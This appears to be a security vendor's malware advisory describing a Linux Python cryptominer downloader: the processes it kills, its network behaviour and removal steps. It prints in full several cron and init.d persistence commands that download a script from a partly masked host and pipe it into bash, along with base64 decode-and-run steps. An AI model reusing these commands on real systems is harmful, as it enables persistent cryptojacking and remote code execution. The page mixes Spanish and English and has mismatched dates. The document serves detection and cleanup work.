Author: Patrick Noel Collado   
 

Trojan-Downloader.Python.Miner.b (Kaspersky)

 PLATFORM:

Linux

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Eliminado por otro tipo de malware, Descargado de Internet

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 13,047 bytes
File type: PY
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 28 de sierpnia de 2020
PAYLOAD: Connects to URLs/IPs, Downloads files, Terminates processes

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Otros detalles

Hace lo siguiente:

  • Terminates processes connected to the following ports:
    • :3333
    • :4444
    • :5555
    • :7777
    • :14444
    • :5790
    • :45700
    • :2222
    • :9999
    • :20580
    • :13531
  • Terminates processes connected to the following IP:
    • {BLOCKED}.{BLOCKED}.24.12:8080
    • {BLOCKED}.{BLOCKED}.17.13:8080
    • {BLOCKED}.{BLOCKED}.11.170:443
  • It creates the following cron jobs for persistence:
    • Path: /etc/cron.d/root
      • Schedule: Every Minute
      • Command: */1 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/apache/root
      • Schedule: Every Two Minutes
      • Command: */2 * * * * root (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.d/nginx
      • Schedule: Every Three Minutes
      • Command: */3 * * * * root lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/.xo; bash /tmp/.xo; rm -rf /tmp.xo\n##
    • Path: /var/spool/cron/root
      • Schedule: Every Thirty Minutes
      • Command: */30 * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi\n; rm -rf /tmp/xmi\n##
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * (curl -s http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O - http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi\n##
    • Path: /etc/cron.hourly/oanacroner1
      • Schedule: Every Hour
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo {base 64 encoded string} | base64 -d | bash -; lwp-download http://{BLOCKED}.{BLOCKED}.113.151/xmi /tmp/xmi; bash /tmp/xmi; rm -rf /tmp/xmi
  • It creates the following service for persistence:
    • Path: /etc/init.d/down
      • Command: (curl -fsSL http://{BLOCKED}.{BLOCKED}.113.151/xmi||wget -q -O- http://{BLOCKED}.{BLOCKED}.113.151/xmi)|bash -sh; echo "{base 64 encoded string}" | base64 -d | bash -'

  SOLUTION

Minimum scan engine: 9.850
First VSAPI Pattern File: 16.153.00
First VSAPI Pattern Release Date: 08 de sierpnia de 2020
VSAPI OPR PATTERN-VERSION: 16.154.00
VSAPI OPR PATTERN DATE: 09 de sierpnia de 2020

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.Python.MALXMR.D En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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